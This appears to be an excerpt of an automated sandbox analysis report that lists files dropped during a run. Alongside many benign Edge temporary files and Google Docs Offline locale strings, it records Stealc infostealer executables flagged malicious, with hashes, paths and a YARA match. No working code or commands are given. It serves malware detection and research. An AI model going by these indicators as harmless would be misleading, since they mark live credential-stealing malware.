Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, comment: "Lavc59.36.100", baseline, precision 8, 1280x720, components 3
Category:	dropped
Size (bytes):	1559821
Entropy (8bit):	7.993091610590898
Encrypted:	true
SSDEEP:	24576:YiEuimp40CLFCD5VQvfIQ3+B8qqigBFvsCf5kFpRH9AKpDm9Zj5IJhjhsFOU2gHL:VWRCD5VifJOiqKb0Cf6RdlpDmr5IjjhE
MD5:	28A623D801B3D985B8AB290B194F87FF
SHA1:	88BE96870952C00ADD0FCDDBA2BF8F53B8505ED0
SHA-256:	9D7BCFCDD0805CC77F5CDD5B263BD1FDD3F85A4151B7185B4FC5157E1A686863
SHA-512:	8606AD3B158B82ED0D28B36A7040D25F975AA77B94F36B9CF9FBBDD37908308BE8FB175EA8CC9AA3664F2DEF73BD1FD03415C07C28648F52317E45B9E55FD4E8
Malicious:	false
Preview:	.....XICC_PROFILE......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1..........................

C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	244736
Entropy (8bit):	6.573733150918929
Encrypted:	false
SSDEEP:	3072:QmrsDjKoXngR6MJvWN3p8+sJkMRuki7ZDzUWXbhvGTPSJ08:r4DueZMFPl5IN1Dz5bePAz
MD5:	DA5C79183DABF3510E9C6D76F7C5C087
SHA1:	B06A732E61D91B4E2DDC0A288F7472F1C7952271
SHA-256:	093F37A701ED0A89CB89E00CF665F26760DE3A532EF97ECD5D75CE51223F932F
SHA-512:	C3FEF14434DDBBCF14A4E551257376AE0A57884662F22CAD24A009569C8E218839423A52D9715307F57565614699F8D66BC524C0F2CE7930A9B4BFF9F12EA0EC
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........PE..L...1.;g.....................@"...................@...........................%...........@..................................`..<.............................$..<...................................................................................text............................... ....rdata..t...........................@..@.data....+!..p.......R..............@....reloc..$]....$..^...^..............@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4407808
Entropy (8bit):	7.986355631503035
Encrypted:	false
SSDEEP:	98304:hGZ16E+n3qlVmxQ+kqUuPIlAUHsyKp21eWsuIbFL/Tl:h0S6lVv1qdIGMD1eWsuI9l
MD5:	91118D3B44B4A457CF5ACADC62B39B5D
SHA1:	7DEA33E33708EE07D3E2475B9E5511E1722A7906
SHA-256:	8E63A9969E3C9DB4816C69FE88C5D323DAAE5E0DE24D547A73104A89694D8901
SHA-512:	FC1CE7EB30F2CB38E23FAC0111933F0550B838DB8274B1D7B509826B66D10EE21B51DBA3356639DDD8463258E3CE8F11C96F2DF49F550EE15D7F861ACC60BEC4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2...@........J...@..........................p.......QC...@... ............................._.q.s...........................,/...................................................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..8...q.......'.............@...edxcvrdu..............'.............@...syqfiudc.....0........C.............@....taggant.0...@..."... C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\551159e0-4cb1-45f4-814c-4c610b5c317a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\6ba84f6a-2dab-43f8-b95b-a8c50a033150.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\79fb0a5a-fe7d-4a03-be13-45559b19b061.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\7abe2a2b-f1bb-42bb-82c4-f88fb04bc6f3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
Category:	dropped
Size (bytes):	76326
Entropy (8bit):	7.9961120748813075
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz8vBBrYunau6wp:GdS8scZNzFrMa4M+lKqeu/nr
MD5:	01E352D35675990A139199DD86B38AAC
SHA1:	E16163C81E5F36B3B819AA0A63BFA63D88548A91
SHA-256:	148CDE42D38C62C1A1E8B8D3D4BD8830F0F8C2DC684E3C59B0A510E31011CA4A
SHA-512:	75A58FFAD6E3E0546268CC863AE382B5429795D8BCED64BAE2D06BCEEB6C2E37BD656A3E335EB61B521888B76913F2D0281F8C9C081FF8637307AE5934D98C8B
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsKKJKFBKKEC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1929216
Entropy (8bit):	7.949899796373039
Encrypted:	false
SSDEEP:	49152:JpqV4uD6HKqZp75N0/uDZKxKGphy38i9j/c4:JpqFEfZpNN0EZIp43xNc4
MD5:	D349980D19605CCCFB15081F93C9DB31
SHA1:	B9110F209ABC6D452F13E955592DF37A1E30DB24
SHA-256:	BA7B2F6E55A0B6B2AA5C2528E623CE40090C78E3BE8D30D4A07F9C8CA483AE94
SHA-512:	A3C8D876D1DF6983D53B91E4FE3D0A2164A46CB24C7121F8F50C1E8565093A17B45EF482FFD6CB89EED435CF118E6482DEBC8C2E7BB610F227C226093184E8BC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................pL...........@...........................L...........@.................................W...k.......H....................PL..............................PL..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .P+.........................@...ahejieaj.`....2..R..................@...yokqpkiv.....`L......J..............@....taggant.0...pL.."...N..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bff0b4bb-5e6d-4357-b1e6-94b5f91d7e1d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\cc752846-fe05-4588-a3fe-2c698d7632e8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.3929608384546235
Encrypted:	false
SSDEEP:	24:YDG5LwRD0s/Up5fP1x5fn7Zu0QRWE5fR+nh0Qut5fxjK0KyS5U00vW5M:YDG5LOD0s8p5nX5/o0KWE5JC0Nt5pO0B
MD5:	F39ADB1A6FAA02BCD53F13CDFBA891EC
SHA1:	2B1E12B36BAA1490E76166E199723148672C07AA
SHA-256:	282D69BB2DA69AB10EEC8FDDED5F5CD8196901B18B56A19448B1DBC38861864B
SHA-512:	F09BC81732F5C7D7DDCE29BC38AA3FEDA4F0B198BCE6BF5B2451690E778A52A03263AEFDF8EE0AE17B62D758E502186C7D306B76DE25C456293B0FFE2C81B5A3
Malicious:	false
Preview:	{"logTime": "1005/085948", "correlationVector":"8sNXFnC9i2+S99lAzDH6Rq","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/085948", "correlationVector":"81A02D7FC86E45EDA6CBCA8671A98AFF","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/085948", "correlationVector":"NiTqUUpDli2IJjzrRApLSF","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/091044", "correlationVector":"4hXMqVe30Bl32fn1+6AOy1","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/091053", "correlationVector":"D7BB119EE9F4429BBF8B8E46242DB5E9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/091235", "correlationVector":"Wk5x1on3JpNq4FXPG6U9B5","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/091235", "correlationVector":"EC448E7330FA4F5EA1E7898FDD3F2CB6","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/091436", "correlationVector":"Ltc1GKjZ6R4P7ed5oiO6YB","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/091437", "correlationVector":"A569DB44

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
